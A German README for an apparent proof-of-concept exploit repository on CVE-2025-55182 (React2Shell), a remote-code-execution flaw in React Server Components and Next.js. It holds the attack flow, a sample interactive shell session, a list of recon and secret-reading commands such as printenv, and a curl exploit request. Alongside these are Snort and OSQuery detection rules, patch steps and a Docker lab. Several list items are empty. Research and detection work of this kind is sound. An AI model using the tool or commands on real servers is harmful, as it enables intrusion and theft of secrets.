Proof-of-Concept-Exploit für CVE-2025-55182, eine kritische nicht authentifizierte RCE in React Server Components. Enthält automatisierten Python-Exploit, technische Analyse, Erkennungsregeln und Einrichtung einer Laborumgebung für autorisierte Sicherheitstests.
Ein umfassendes Proof-of-Concept-Exploit und Bildungsressource für CVE-2025-55182, eine kritische Remote-Code-Ausführungsschwachstelle, die React Server Components betrifft, mit einem CVSS-Score von 10.0.
NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS
Dieses Werkzeug dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests. Unautorisierter Zugriff auf Computersysteme ist illegal gemäß verschiedener Gesetze, einschließlich des Computer Fraud and Abuse Act (CFAA) in den Vereinigten Staaten und ähnlicher Gesetzgebung weltweit.
Sie müssen:
Der Autor und die Mitwirkenden:
Durch die Nutzung dieses Werkzeugs bestätigen Sie, dass Sie diese Bedingungen verstehen und akzeptieren.
React2Shell ist eine kritische Schwachstelle, die im Dezember 2025 entdeckt wurde und React Server Components (RSC) sowie Frameworks, die diese implementieren, insbesondere Next.js, betrifft. Die Schwachstelle ermöglicht unauthorisierte Remote-Code-Ausführung durch eine einzige manipulierte HTTP-Anfrage.
Dieses Repository enthält:
| Feld | Details |
|---|---|
| CVE-ID | CVE-2025-55182 |
| CVSS-Score | 10.0 (Kritisch) |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Berechtigungen | Keine |
| Benutzerinteraktion | Keine |
| Auswirkung | Vollständige Systemkompromittierung (RCE) |
| Offenlegungsdatum | Dezember 2025 |
create-next-app erstellt wurden, sind ausnutzbarAngreifbare Versionen:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0Gepatche Versionen:
Angreifbare Versionen:
Gepatche Versionen:
Die Schwachstelle existiert in der requireModule-Funktion innerhalb der Deserialisierungslogik von React Server Components:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // VULNERABLE LINE - Prototype chain traversal
}
Der Fehler erlaubt Angreifern, die JavaScript-Prototypkette über das React-Flight-Protokoll zu durchlaufen und den Function-Konstruktor über Eigenschaften wie constructor.constructor zu erreichen, was die Ausführung beliebigen Codes ermöglicht.
__proto__ aus, um eine selbstreferenzielle Struktur zu erzeugenconstructor.constructor, um auf Function() zuzugreifenchild_process.execSync()┌─────────────────────────────────────────────────────────────┐
│ Angreifer sendet multipart/form-data mit Next-Action-Header│
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Server deserialisiert Payload über React-Flight-Protokoll │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Fake-Chunk-Objekt mit __proto__-Verunreinigung verarbeitet │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Blob-Handler ruft _formData.get(_prefix + id) auf │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Löst auf zu Function("malicious_code") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Beliebiger Code mit Node.js-Prozessberechtigungen ausgeführt│
└─────────────────────────────────────────────────────────────┘
requests-Bibliothek# Repository klonen
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# Abhängigkeiten installieren
pip install -r requirements.txt
# Skript ausführbar machen (Linux/macOS)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ Betroffen: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - Nur für Labornutzung ║
╚═══════════════════════════════════════════════════════════╝
[?] Zielinformationen eingeben:
Host (z. B. localhost oder 192.168.1.100): localhost
Port (z. B. 3000): 3000
[React2Shell]> id
[*] Ziel: http://localhost:3000/
[*] Befehl: id
[*] Baue Exploit-Payload...
[*] Sende Exploit-Anfrage...
[+] Antwort-Statuscode: 200
[*] Analysiere Antwort...
╔═══════════════════════════════════════════════════════════╗
║ BEFEHLS AUSGABE ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# Systemaufklärung
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# Dateisystemerkundung
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# Umgebungsvariablen (enthalten oft Geheimnisse)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# Netzwerkinformationen
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn
| Befehl | Beschreibung |
|---|---|
<beliebiger Shell-Befehl> | Befehl auf Ziel ausführen |
help | Hilfemeldung anzeigen |
exit / quit / q | Tool beenden |
Stellen Sie diese Snort-Regel bereit, um Exploit-Versuche zu erkennen:
alert http any any -> $LAN_NETWORK any (
msg:"Potentieller Next.js React2Shell / CVE-2025-55182 Versuch";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
Erkennungslogik:
Next-Action-Header (RSC-spezifisch)multipart/form-data-Payloadsname="0", status: "resolved_model", then: "$1:__proto__:then"Verwenden Sie diese OSQuery-Regel, um nach anfälligen Paketversionen zu suchen:
{
"queries": {
"detect_react2shell_vulnerable_packages": {
"query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
"interval": 3600,
"description": "Erkennt anfällige Versionen von React Server Components-Paketen, die von CVE-2025-55182 betroffen sind",
"platform": "linux,windows,macos",
"version": "1.0"
}
}
}
Vorteile:
Achten Sie auf diese Muster in Ihren Anwendungsprotokollen:
- HTTP-POST-Anfragen mit "Next-Action"-Header
- Ungewöhnliche multipart/form-data-Anfragen an das Anwendungsstammverzeichnis
- Fehlermeldungen mit "NEXT_REDIRECT" und unerwarteten Digest-Werten
- Anstieg von 500-Fehlern mit React-bezogenen Stack-Traces
- Kindprozess-Starts von Node.js (execSync, spawn, exec)
# Aktuelle Versionen prüfen
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
# React auf gepatchte Version aktualisieren
npm install [email protected] [email protected]
# Next.js auf neueste gepatchte Version aktualisieren
npm install next@latest
# Updates überprüfen
npm list react react-dom next
# Cache löschen und neu erstellen
rm -rf .next node_modules package-lock.json
npm install
npm run build
Verdächtige Muster blockieren:
- Anfragen mit "Next-Action"-Header aus nicht vertrauenswürdigen Quellen
- Mehrteilige Formulardaten mit verdächtigen JSON-Strukturen
- Anfragen, die Exploit-Signaturmustern entsprechen
# Beispiel GitHub Actions-Workflow
name: Sicherheitsscan
on: [push, pull_request]
jobs:
dependency-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Auf anfällige React-Pakete prüfen
run: |
npm audit --audit-level=critical
npm list react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack
Alarme einrichten für:
# Neue Next.js-App mit anfälliger Version erstellen
npx [email protected] vulnerable-app
cd vulnerable-app
# Anfällige React-Version installieren
npm install [email protected] [email protected]
# Entwicklungsserver starten
npm run dev
Erstellen Sie eine Dockerfile:
FROM node:18-alpine
WORKDIR /app
# Einfache Next.js-App erstellen
RUN npx [email protected] vulnerable-app --typescript --tailwind --app --no-src-dir
WORKDIR /app/vulnerable-app
# Anfällige React-Versionen installieren
RUN npm install [email protected] [email protected]
EXPOSE 3000
CMD ["npm", "run", "dev"]
Erstellen und ausführen:
docker build -t react2shell-lab .
docker run -p 3000:3000 react2shell-lab
Erstellen Sie docker-compose.yml:
version: '3.8'
services:
vulnerable-app:
build: .
ports:
- "3000:3000"
environment:
- NODE_ENV=development
volumes:
- ./app:/app/vulnerable-app
Ausführen:
docker-compose up -d
Testen Sie mit curl:
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit_payload.txt
Beiträge sind willkommen! Bitte befolgen Sie diese Richtlinien:
git checkout -b feature/improvement)git commit -am 'Neue Erkennungsmethode hinzufügen')git push origin feature/improvement)Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe LICENSE Datei für Details.
Tinashe
Cerberus Secure ist die Cybersicherheitsabteilung von iConnect SA, spezialisiert auf:
Diese Schwachstelle wurde von Sicherheitsforschern verantwortungsvoll dem React-Team gemeldet. Dieser PoC wird veröffentlicht nach:
Zeitplan:
Denken Sie daran: Verwenden Sie dieses Werkzeug verantwortungsvoll und nur auf Systemen, für die Sie autorisiert sind, Tests durchzuführen.
Für Fragen, Anliegen oder Sicherheitsprobleme mit diesem Repository öffnen Sie bitte ein Issue oder kontaktieren Sie den Maintainer direkt.